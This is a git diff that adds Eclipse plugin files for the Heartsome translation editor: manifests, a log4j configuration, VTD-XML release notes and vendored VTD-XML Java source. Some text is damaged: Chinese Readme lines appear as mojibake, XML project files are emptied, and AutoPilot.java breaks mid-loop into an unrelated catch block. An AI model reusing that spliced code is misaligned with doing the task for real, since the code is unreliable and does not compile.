b/base_plugins/net.heartsome.cat.thirdpartlibrary/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:02:15 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/META-INF/MANIFEST.MF b/base_plugins/net.heartsome.cat.thirdpartlibrary/META-INF/MANIFEST.MF new file mode 100644 index 0000000..c4b2223 --- /dev/null +++ b/base_plugins/net.heartsome.cat.thirdpartlibrary/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Third-party Library +Bundle-SymbolicName: net.heartsome.cat.thirdpartlibrary +Bundle-Version: 8.0.0.R8b_v20121113 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: lib/slf4j-api-1.5.8.jar, + ., + lib/slf4j-log4j12-1.5.8.jar, + lib/log4j-1.2.15.jar +Export-Package: org.slf4j +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/build.properties b/base_plugins/net.heartsome.cat.thirdpartlibrary/build.properties new file mode 100644 index 0000000..4376b9d --- /dev/null +++ b/base_plugins/net.heartsome.cat.thirdpartlibrary/build.properties @@ -0,0 +1,8 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/slf4j-api-1.5.8.jar,\ + lib/slf4j-log4j12-1.5.8.jar,\ + lib/log4j-1.2.15.jar diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/log4j-1.2.15.jar b/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/log4j-1.2.15.jar new file mode 100644 index 0000000..c930a6a Binary files /dev/null and b/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/log4j-1.2.15.jar differ diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/slf4j-api-1.5.8.jar b/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/slf4j-api-1.5.8.jar new file mode 100644 index 0000000..35502ca Binary files /dev/null and b/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/slf4j-api-1.5.8.jar differ diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/slf4j-log4j12-1.5.8.jar b/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/slf4j-log4j12-1.5.8.jar new file mode 100644 index 0000000..b63bcdc Binary files /dev/null and b/base_plugins/net.heartsome.cat.thirdpartlibrary/lib/slf4j-log4j12-1.5.8.jar differ diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/src/log4j.properties b/base_plugins/net.heartsome.cat.thirdpartlibrary/src/log4j.properties new file mode 100644 index 0000000..bf661b1 --- /dev/null +++ b/base_plugins/net.heartsome.cat.thirdpartlibrary/src/log4j.properties @@ -0,0 +1,26 @@ +#log4j.rootLogger=INFO, Console , R + +#log4j.appender.Console=org.apache.log4j.ConsoleAppender +#log4j.appender.Console.layout=org.apache.log4j.PatternLayout +#log4j.appender.Console.layout.ConversionPattern=[HSERP] %p [%t] | %m%n + +#log4j.appender.R=org.apache.log4j.DailyRollingFileAppender +#log4j.appender.R.File=webapps/HeartsomeErp/Log/hserp_service.log +#log4j.appender.R.layout=org.apache.log4j.PatternLayout +#log4j.appender.R.layout.ConversionPattern=[HSERP]-%p %d: %m%n + + +log4j.rootLogger = INFO, DailyLog, Console + +log4j.appender.Console=org.apache.log4j.ConsoleAppender +log4j.appender.Console.layout=org.apache.log4j.PatternLayout +log4j.appender.Console.layout.ConversionPattern=[HSTE8] %p [%t] | %m%n + +log4j.appender.DailyLog = org.apache.log4j.DailyRollingFileAppender +log4j.appender.DailyLog.File = ${user.home}/TMX Editor Workspace/.log/HSTE8 +log4j.appender.DailyLog.DatePattern='_'yyyy_MM_dd'.log' +log4j.appender.DailyLog.Threshold = INFO +log4j.appender.DailyLog.layout=org.apache.log4j.PatternLayout +log4j.appender.DailyLog.layout.ConversionPattern=[HSTE8]-%p %d %l: %m%n + + diff --git a/base_plugins/net.heartsome.xml/.classpath b/base_plugins/net.heartsome.xml/.classpath new file mode 100644 index 0000000..b1fe420 --- /dev/null +++ b/base_plugins/net.heartsome.xml/.classpath @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/base_plugins/net.heartsome.xml/.project b/base_plugins/net.heartsome.xml/.project new file mode 100644 index 0000000..fbba29d --- /dev/null +++ b/base_plugins/net.heartsome.xml/.project @@ -0,0 +1,28 @@ + + + net.heartsome.xml + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_plugins/net.heartsome.xml/.settings/org.eclipse.core.resources.prefs b/base_plugins/net.heartsome.xml/.settings/org.eclipse.core.resources.prefs new file mode 100644 index 0000000..f9e868f --- /dev/null +++ b/base_plugins/net.heartsome.xml/.settings/org.eclipse.core.resources.prefs @@ -0,0 +1,3 @@ +#Thu Mar 04 17:23:57 GMT+08:00 2010 +eclipse.preferences.version=1 +encoding//testSrc/net/heartsome/xml/vtdimpl/test/Test_UTF16LE.txt.xlf=UTF-16LE diff --git a/base_plugins/net.heartsome.xml/.settings/org.eclipse.jdt.core.prefs b/base_plugins/net.heartsome.xml/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..eef9a34 --- /dev/null +++ b/base_plugins/net.heartsome.xml/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,12 @@ +#Thu Aug 12 14:05:04 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_plugins/net.heartsome.xml/Changes from version 2.10 b/base_plugins/net.heartsome.xml/Changes from version 2.10 new file mode 100644 index 0000000..782dbad --- /dev/null +++ b/base_plugins/net.heartsome.xml/Changes from version 2.10 @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +Changes from Version 2.10 (09/2011) + +New features: + * Full XPath node() support now added + * Full XPath text supported + * Sophiscated XPath rewrite feature added for performance optimization + * Internal Caching supported for optimization (for certain complex expressions, 1000x improvement is possible) + * More permissive deletion condition added to XMLModifier + + +Bug fix: + Various bug fixes such as in getElementFragment(), getContentFragment() + diff --git a/base_plugins/net.heartsome.xml/META-INF/MANIFEST.MF b/base_plugins/net.heartsome.xml/META-INF/MANIFEST.MF new file mode 100644 index 0000000..454e8da --- /dev/null +++ b/base_plugins/net.heartsome.xml/META-INF/MANIFEST.MF @@ -0,0 +1,27 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome XML +Bundle-SymbolicName: net.heartsome.xml +Bundle-Version: 8.0.1.R8b_v20130424 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: com.ximpleware, + net.heartsome.xml.vtdimpl, + org.dom4j, + org.dom4j.bean, + org.dom4j.datatype, + org.dom4j.dom, + org.dom4j.dtd, + org.dom4j.io, + org.dom4j.jaxb, + org.dom4j.rule, + org.dom4j.rule.pattern, + org.dom4j.swing, + org.dom4j.tree, + org.dom4j.util, + org.dom4j.xpath, + org.dom4j.xpp +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0" +Bundle-ClassPath: ., + lib/dom4j-1.6.1.jar +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_plugins/net.heartsome.xml/Readme.txt b/base_plugins/net.heartsome.xml/Readme.txt new file mode 100644 index 0000000..8605da2 --- /dev/null +++ b/base_plugins/net.heartsome.xml/Readme.txt @@ -0,0 +1,38 @@ +VTD 当å‰ç‰ˆæœ¬ 2.11 +com.ximpleware.* ,java_cup.* 为 VTD æºç ï¼Œè¯·ä¸è¦ä¿®æ”¹ã€‚ + +2.11 新特性 + +Version 2.11, simultaneously available in C, Java, C++, and C#, is the latest release of VTD-XML. So what is new? The shortly answer: +(1) It is more standards-compliant by conforming strictly to XPath 1.0 spec’s notion of node(). +(2) It introduces major performance improvement for XPath expressions involving simple position index. +(3)This release introduces major performance improvement for XPath expression containing complex predicates involving absolute location path expressions. +(4) It also contains various bug releases as reported by VTD-XML users. + +1. Change to Node() Interpretation +Before 2.11, node() in a location step in an XPath expression will be interpreted as equivalent to *, +i.e., an element node with any name. With 2.11 the same node() will be interpreted either one of “element(), text(), comment(), +or processing-instruction(), as defined by XPath 1.0 spec. + +2. Performance Improvement for Simple Position Index +A quick example is “a[2]/b[1].†A simple position index is basically a constant index value in predicate. 2.11′s XPath engine +is now smart enough to detect this use case and allow for early escaping from the execution loop, resulting in faster execution +performance. The amount of improvement depends on how frequent the simple index is used in each location step. In some cases, +a 50% to 70% execution speedup is possible. + +3.Performance Improvement for Predicates Containing Absolute Path Expressions +A quick example is //a[//abc/@val='1']. Notice that predicate contains //abc, which is an absolute path expression. Before 2.11, this expression +will trigger repetitive evaluation of //abc to determine whether the predicate is true or false. The processing cost would increase rapidly +with respect to the size of the document. This release would intelligently cache the evaluation result so the corresponding XPath +is evaluated only once. Please notice that this feature is enabled by default, if you can turn it off (we don’t recommend it) + by invoking AutoPilot’s enableCaching’s method and give it a “false.†+ +How much of an improvement can you expect to see? Depending on size of documents, complexity of predicates and other things. +Sometime you will be achieve astonishing results. Consider the following expression. + +//CDResults[../../../TargetName/@Value="//SiteInformation["TargetName/@Value!=//SiteInformation[1]/TargetName/@Value and TargetName/@Value!=//SiteInformation[TargetName/@Value!=//SiteInformation[1]/TargetName/@Valueâ€][1]/TargetName/@Value][1]/TargetName/@Value]/BottomCD/@Value + +Running this document on a 22MB xml document in Java would take many hours in virtually all XPath implementation including 2.10 version of VTD-XML. With 2.11, it took less than 5 seconds on a commodity, 3 year old PC. + +4.Bug fixes +There are other bug fixes, covering XMLModifier’s deletion capabilities and permissiveness of deletion of sub-nodes. \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/build.properties b/base_plugins/net.heartsome.xml/build.properties new file mode 100644 index 0000000..d50a97c --- /dev/null +++ b/base_plugins/net.heartsome.xml/build.properties @@ -0,0 +1,8 @@ +javacDefaultEncoding.. = UTF-8 +output.. = bin/ +bin.includes = .,\ + META-INF/,\ + lib/dom4j-1.6.1.jar +jars.compile.order = . +source.. = src/,\ + testSrc/ diff --git a/base_plugins/net.heartsome.xml/lib/dom4j-1.6.1.jar b/base_plugins/net.heartsome.xml/lib/dom4j-1.6.1.jar new file mode 100644 index 0000000..c8c4dbb Binary files /dev/null and b/base_plugins/net.heartsome.xml/lib/dom4j-1.6.1.jar differ diff --git a/base_plugins/net.heartsome.xml/lib/vtd-xml.jar b/base_plugins/net.heartsome.xml/lib/vtd-xml.jar new file mode 100644 index 0000000..ed3f8dc Binary files /dev/null and b/base_plugins/net.heartsome.xml/lib/vtd-xml.jar differ diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/AutoPilot.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/AutoPilot.java new file mode 100644 index 0000000..309350c --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/AutoPilot.java @@ -0,0 +1,907 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + + +import com.ximpleware.xpath.*; +import java.util.*; +import java.io.*; +/** + * XimpleWare's AutoPilot implementation encapsulating node iterator + * and XPath. + * + */ +public class AutoPilot { + protected int depth; + // the depth of the element at the starting point will determine when to stop iteration + protected int iter_type; // see selectElement + protected VTDNav vn; // the navigator object + protected int index; // for iterAttr + protected int endIndex; + protected boolean ft; // a helper variable for + protected boolean special; // This helps distinguish between + // the case of node() and * for preceding axis + // of xpath evaluation + protected String name; // Store element name after selectElement + protected String name2; // store xmlns:+name + protected String localName; // Store local name after selectElemntNS + protected String URL; // Store URL name after selectElementNS + protected int size; // for iterateAttr + + protected Expr xpe; // for evalXPath + + protected int[] contextCopy; //for preceding axis + protected int stackSize; // the stack size for xpath evaluation + private FastIntBuffer fib; // for namespace axis + + protected Hashtable nsHash; + protected boolean enableCaching; + //private parser p; + // defines the type of "iteration" + public final static int UNDEFINED = 0; + // set the mode corresponding to DOM's getElemetnbyName(string) + public final static int SIMPLE = 1; + // set the mode corresponding to DOM's getElementbyNameNS(string) + public final static int SIMPLE_NS = 2; + public final static int DESCENDANT = 3; + public final static int DESCENDANT_NS = 4; + public final static int FOLLOWING = 5; + public final static int FOLLOWING_NS=6; + public final static int PRECEDING = 7; + public final static int PRECEDING_NS=8; + public final static int ATTR = 9; + public final static int ATTR_NS = 10; + public final static int NAME_SPACE = 11; + public final static int SIMPLE_NODE = 12; + public final static int DESCENDANT_NODE = 13; + public final static int FOLLOWING_NODE = 14; + public final static int PRECEDING_NODE = 15; + + static private Hashtable symbolHash; + //static int count=0; + + protected String getName(){ + return name; + } +/** + * AutoPilot constructor comment. + * @exception IllegalArgumentException If the VTDNav object is null + */ +public AutoPilot(VTDNav v) { + if (v == null) + throw new IllegalArgumentException(" instance of VTDNav can't be null "); + name = null; + vn = v; + //depth = v.getCurrentDepth(); + iter_type = UNDEFINED; // not defined + ft = true; + size = 0; + special = false; + xpe = null; + symbolHash = new Hashtable(); + fib = null; + enableCaching = true; + //fib = new FastIntBuffer(4); + //p = null; + //count=0; +} + +/** + * Use this constructor for delayed binding to VTDNav + * which allows the reuse of XPath expression + * + */ +public AutoPilot(){ + name = null; + //vn = v; + //depth = v.getCurrentDepth(); + iter_type = UNDEFINED; // not defined + ft = true; + size = 0; + special = false; + xpe = null; + symbolHash = new Hashtable(); + fib = null; + enableCaching = true; + //count=0; +} +/** This function creates URL ns prefix + * and is intended to be called prior to selectXPath + * @param prefix + * @param URL + */ + +final public void declareXPathNameSpace(String prefix, String URL){ + if (nsHash==null) + nsHash = new Hashtable(); + nsHash.put(prefix, URL); + //System.out.println(ht); +} + +/** + * Bind is to replace rebind() and setVTDNav() + * It resets the internal state of AutoPilot + * so one can attach a VTDNav object to the autopilot + * @param vnv + * + */ +public void bind (VTDNav vnv){ + name = null; + if (vnv == null) + throw new IllegalArgumentException(" instance of VTDNav can't be null "); + vn = vnv; + //depth = v.getCurrentDepth(); + iter_type = UNDEFINED; // not defined + ft = true; + size = 0; + special = false; + //count = 0; + //resetXPath(); +} + +/** + * Register the binding between a variableExpr name and variableExpr expression + * @param varName + * @param varExpr + * @throws XPathParseException + */ +public void declareVariableExpr(String varName, String varExpr) throws XPathParseException { + try{ + parser p = new parser(new StringReader(varExpr)); + p.nsHash = nsHash; + p.symbolHash = symbolHash; + xpe = (Expr) p.parse().value; + symbolHash.put(varName, xpe); + ft = true; + }catch(XPathParseException e){ + System.out.println("Syntax error after or around the end of ==>"+varExpr.substring(0,e.getOffset())); + throw e; + }catch(Exception e){ + throw new XPathParseException("Error occurred"); + } + } + +/** + * Remove all declared variable expressions + */ +final public void clearVariableExprs(){ + symbolHash.clear(); +} + +/** + * Remove all namespaces bindings + */ +final public void clearXPathNameSpaces(){ + nsHash.clear(); +} + +public boolean iterate2() throws PilotException, NavException { + //count++; + //System.out.println("count-=>"+count); + switch (iter_type) { + case SIMPLE_NODE: + if (ft && vn.atTerminal) + return false; + if (ft){ + ft =false; + return true; + } + return vn.iterateNode(depth); + + case DESCENDANT_NODE: + if (ft&&vn.atTerminal) + return false; + else{ + ft=false; + return vn.iterateNode(depth); + } + + case FOLLOWING_NODE: + if (ft){ + boolean b= false; + do{ + b = vn.toNode(VTDNav.NEXT_SIBLING); + if (b){ + ft = false; + return true; + }else{ + b = vn.toNode(VTDNav.PARENT); + } + }while(b); + return false; + } + return vn.iterate_following_node(); + + case PRECEDING_NODE: + if(ft){ + ft = false; + vn.toNode(VTDNav.ROOT); + vn.toNode(VTDNav.P); + } + return vn.iterate_preceding_node(contextCopy,endIndex); + //case + default : + throw new PilotException(" iteration action type undefined"); + } +} +/** + * Iterate over all the selected element nodes in document order. + * Null element name allowed, corresponding to node() in xpath + * Creation date: (12/4/03 5:25:42 PM) + * @return boolean + * @exception com.ximpleware.NavException See description in method toElement() in VTDNav class. + */ +public boolean iterate() throws PilotException, NavException { + //count++; + //System.out.println("count-=>"+count); + switch (iter_type) { + case SIMPLE : + //System.out.println("iterating ---> "+name+ " depth ---> "+depth); + /*if (elementName == null) + throw new PilotException(" Element name not set ");*/ + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterate(depth, name, special); + else { + ft = false; + if (special || + vn.matchElement(name)) { + return true; + } else + return vn.iterate(depth, name, special); + } + + case SIMPLE_NS : + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterateNS(depth, URL, localName); + else { + ft = false; + if (vn.matchElementNS(URL, localName)) { + return true; + } else + return vn.iterateNS(depth, URL, localName); + } + + case DESCENDANT: + if (vn.atTerminal) + return false; + return vn.iterate(depth, name, special); + + case DESCENDANT_NS: + if (vn.atTerminal) + return false; + return vn.iterateNS(depth, URL, localName); + + case FOLLOWING: + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterate_following(name, special); + else { + ft = false; + // find the first next sibling of + while(true){ + while (vn.toElement(VTDNav.NS)){ + if (special || vn.matchElement(name)) { + return true; + } + return vn.iterate_following(name, special); + } + if (vn.toElement(VTDNav.P)==false){ + //return vn.iterate_following(name, special); + return false; + } + } + } + + case FOLLOWING_NS: + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterate_followingNS(URL,localName); + else { + ft = false; + // find the first next sibling of + while(true){ + while (vn.toElement(VTDNav.NS)){ + if (vn.matchElementNS(URL,localName)) { + return true; + } + return vn.iterate_followingNS(URL,localName); + } + if (vn.toElement(VTDNav.P)==false){ + return false; + } + } + } + + case PRECEDING: + if (vn.atTerminal) + return false; + if(ft){ + ft = false; + vn.toElement(VTDNav.ROOT); + } + return vn.iterate_preceding(name, contextCopy,endIndex); + + case PRECEDING_NS: + if (vn.atTerminal) + return false; + if(ft){ + ft = false; + vn.toElement(VTDNav.ROOT); + } + return vn.iterate_precedingNS(URL,localName,contextCopy,endIndex); + + + default : + throw new PilotException(" iteration action type undefined"); + } +} + +/** + * This method implements the namespace axis for XPath + * @return + * @throws PilotException + * @throws NavException + */ + protected int iterateNameSpace() throws PilotException, NavException { + if (vn.ns == false) + return -1; + if (ft != false) { + ft = false; + index = vn.getCurrentIndex2() + 1; + } else + index += 2; + + while (index < size) { + int type = vn.getTokenType(index); + if (type == VTDNav.TOKEN_ATTR_NAME || type == VTDNav.TOKEN_ATTR_NS) { + if (type == VTDNav.TOKEN_ATTR_NS){ + if (name.equals("*") + || vn.matchRawTokenString(index, name2) + ){ + // check to see if the namespace has appeared before + if (checkNsUniqueness(index)){ + vn.LN = index; + vn.atTerminal = true; + return index; + } + } + } + index += 2; + } else { + vn.atTerminal = false; + if (vn.toElement(VTDNav.P) == false) { + return -1; + } else { + index = vn.getCurrentIndex2() + 1; + } + } + } + + return -1; + } + + protected boolean checkNsUniqueness(int i) throws NavException{ + for (int j=0;j"+s.substring(0,e.getOffset())); + throw e; + }catch(Exception e){ + throw new XPathParseException("Error occurred"); + } +} + +/** + * Reset the XPath so the XPath Expression can + * be reused and revaluated in anther context position + * + */ + +final public void resetXPath(){ + if (xpe!=null && vn!=null){ + xpe.reset(vn); + ft = true; + vn.contextStack2.size = stackSize; + if (enableCaching) + xpe.clearCache(); + } +} +/** + * evalXPathToNumber() evaluates the xpath expression to a double + * @return double + * + */ +final public double evalXPathToNumber(){ + return xpe.evalNumber(vn); +} +/** + * evalXPathToString() evaluates the xpath expression to a String + * @return String + * + */ +final public String evalXPathToString(){ + return xpe.evalString(vn); +} +/** + * evalXPathToBoolean() evaluates the xpath expression to a boolean + * @return boolean + * + */ +final public boolean evalXPathToBoolean(){ + return xpe.evalBoolean(vn); +} +/** + * This method returns the next node in the nodeset + * it returns -1 if there is no more node + * Afer finishing evaluating, don't forget to reset the xpath + * @return int corresponding to the VTD index + */ +public int evalXPath() throws XPathEvalException, NavException{ + if (xpe!=null){ + if (ft == true){ + if (vn != null){ + stackSize = vn.contextStack2.size; + } + ft = false; + xpe.adjust(vn.getTokenCount()); + } + + return xpe.evalNodeSet(vn); + } + throw new PilotException(" Null XPath expression "); +} + +/** + * Setspecial is used by XPath evaluator to distinguish between + * node() and * + * node() corresponding to b= true; + * @param b + */ + +final protected void setSpecial(boolean b ){ + special = b; +} + +/** + * Convert the expression to a string + * For debugging purpose + * @return String + */ +final public String getExprString(){ + return xpe.toString(); +} +/** + * set state to false to disable caching, which by default is enabled + * @param state + */ +final public void enableCaching(boolean state){ + enableCaching = state; +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/BinaryExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/BinaryExpr.java new file mode 100644 index 0000000..ce72267 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/BinaryExpr.java @@ -0,0 +1,616 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * The parser.java uses this class to contruct the corresponding + * AST for XPath expression when there are two operands and one + * operator + * + */ +public class BinaryExpr extends Expr { + public final static int ADD = 0; + public final static int SUB = 1; + public final static int MULT = 2; + public final static int DIV = 3; + public final static int MOD = 4; + public final static int OR = 5; + public final static int AND = 6; + public final static int EQ = 7; + public final static int NE = 8; + public final static int LE = 9; + public final static int GE = 10; + public final static int LT = 11; + public final static int GT = 12; + //public final static int UNION = 13; + + public final static int BUF_SZ_EXP = 7; + protected int op; + boolean isNumerical; + boolean isBoolean; + + protected Expr left; + protected Expr right; + + protected FastIntBuffer fib1; + /** + * constructor + * @param l + * @param o + * @param r + */ + public BinaryExpr ( Expr l, int o, Expr r) { + op = o; + left = l; + right = r; + fib1 = null; + //cacheable =false; + switch(op){ + case ADD: + case SUB: + case MULT: + case DIV: + case MOD: isNumerical = true; isBoolean = false; break; + case OR : + case AND: + case EQ: + case NE: + case LE: + case GE: + case LT: + case GT: isNumerical = false; isBoolean = true; + default: + } + } + final public String toString(){ + String os; + switch(op){ + case ADD: os = " + "; break; + case SUB: os = " - "; break; + case MULT: os = " * "; break; + case DIV: os = " / "; break; + case MOD: os = " mod "; break; + case OR : os = " or ";break; + case AND: os = " and "; break; + case EQ: os = " = "; break; + case NE: os = " != "; break; + case LE: os = " <= "; break; + case GE: os = " >= "; break; + case LT: os = " < "; break; + default: os = " > "; break; + + } + + return "("+ left + os + right+")"; + } + + + final public boolean evalBoolean(VTDNav vn){ + //int i,i1=0; + //int stackSize; + //Expr e1, e2; + //int t; + //boolean b = false; + switch(op){ + case OR: return left.evalBoolean(vn) || right.evalBoolean(vn); + case AND:return left.evalBoolean(vn) && right.evalBoolean(vn); + case EQ: + case NE: + case LE: + case GE: + case LT: + case GT: return computeComp(op,vn); + default: double dval = evalNumber(vn); + if (dval ==-0.0 || dval ==+0.0 || Double.isNaN(dval)) + return false; + return true; + } + } + + final public double evalNumber(VTDNav vn){ + switch(op){ + case ADD: return left.evalNumber(vn) + right.evalNumber(vn); + case SUB: return left.evalNumber(vn) - right.evalNumber(vn); + case MULT:return left.evalNumber(vn) * right.evalNumber(vn); + case DIV: return left.evalNumber(vn) / right.evalNumber(vn); + case MOD: return left.evalNumber(vn) % right.evalNumber(vn); + default : if (evalBoolean(vn) == true) + return 1; + return 0; + + } + } + + final public int evalNodeSet(VTDNav vn) throws XPathEvalException { + throw new XPathEvalException("BinaryExpr can't eval to a node set!"); + } + + final public String evalString(VTDNav vn){ + if(isNumerical()){ + + double d = evalNumber(vn); + if (d==(long)d){ + return ""+(long)d; + } + else + return ""+d; + } else { + boolean b = evalBoolean(vn); + if (b) + return "true"; + else + return "false"; + } + } + + final public void reset(VTDNav vn){ + left.reset(vn); + right.reset(vn); + //cached = false; + /*if (cachedNodeSet != null){ + cachedNodeSet.clear(); + }*/ + }; + + final public boolean isNodeSet(){ + return false; + } + + final public boolean isNumerical(){ + return isNumerical; + } + + final public boolean isString(){ + return false; + } + + final public boolean isBoolean(){ + return isBoolean; + } + // to support computation of context size + // needs to add + // public boolean needContextSize(); + // public boolean SetContextSize(int contextSize); + //If both objects to be compared are node-sets, then + //the comparison will be true if and only if there is + //a node in the first node-set and a node in the second + //node-set such that the result of performing the comparison + //on the string-values of the two nodes is true. If one + //object to be compared is a node-set and the other is a + //number, then the comparison will be true if and only if + //there is a node in the node-set such that the result of + //performing the comparison on the number to be compared and on + //the result of converting the string-value of that node to a + //number using the number function is true. If one object to be + //compared is a node-set and the other is a string, then the + //comparison will be true if and only if there is a node in + //the node-set such that the result of performing the comparison + //on the string-value of the node and the other string is true. + //If one object to be compared is a node-set and the other is a boolean, + //then the comparison will be true if and only if the result of + //performing the comparison on the boolean and on the result of + //converting the node-set to a boolean using the boolean function is true. + + //When neither object to be compared is a node-set and the operator + //is = or !=, then the objects are compared by converting them to a + //common type as follows and then comparing them. If at least one object + //to be compared is a boolean, then each object to be compared is + //converted to a boolean as if by applying the boolean function. + //Otherwise, if at least one object to be compared is a number, then + //each object to be compared is converted to a number as if by applying + //the number function. Otherwise, both objects to be compared are + //converted to strings as if by applying the string function. The = + //comparison will be true if and only if the objects are equal; the + //!= comparison will be true if and only if the objects are not equal. + //Numbers are compared for equality according to IEEE 754 [IEEE 754]. Two + //booleans are equal if either both are true or both are false. Two strings + //are equal if and only if they consist of the same sequence of UCS characters. + + + final private boolean computeComp(int op, VTDNav vn){ + //int i, t, i1 = 0, stackSize, s1, s2; + String st1, st2; + if (left.isNodeSet() && right.isNodeSet()) { + return compNodeSetNodeSet(left, right, vn, op); + } else { + if (left.isNumerical() && right.isNodeSet()){ + return compNumericalNodeSet(left, right, vn, op); + } + if (left.isNodeSet() && right.isNumerical()) { + //return compNumericalNodeSet(right, left, vn, op); + return compNodeSetNumerical(left, right, vn, op); + } + if (left.isString() && right.isNodeSet()){ + return compStringNodeSet(left, right, vn, op); + } + if (left.isNodeSet() && right.isString()) { + //return compStringNodeSet(right, left, vn, op); + return compNodeSetString(left, right, vn, op); + } + } + if (op==EQ || op==NE){ + if (left.isBoolean() || right.isBoolean()) { + if (op == EQ) + return left.evalBoolean(vn) == right.evalBoolean(vn); + else + return left.evalBoolean(vn) != right.evalBoolean(vn); + } + + if (left.isNumerical() || right.isNumerical()) { + if (op == EQ) + return left.evalNumber(vn) == right.evalNumber(vn); + else + return left.evalNumber(vn) != right.evalNumber(vn); + } + + st1 = left.evalString(vn); + st2 = right.evalString(vn); + /*if (st1 == null || st2 == null) + if (op == EQ) + return false; + else + return true;*/ + + return (op == EQ) ? (st1.equals(st2)) : (!st1.equals(st2)); + } + return compNumbers(left.evalNumber(vn),right.evalNumber(vn),op); + + } + + final public boolean requireContextSize(){ + return left.requireContextSize() || right.requireContextSize(); + } + + final public void setContextSize(int size){ + left.setContextSize(size); + right.setContextSize(size); + } + final public void setPosition(int pos){ + left.setPosition(pos); + right.setPosition(pos); + } + + // this function computes the case where one expr is a node set, the other is a string + + final private boolean compNodeSetString(Expr left, Expr right, VTDNav vn,int op){ + int i, i1 = 0, stackSize; + String s; + + try { + s = right.evalString(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = left.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + // 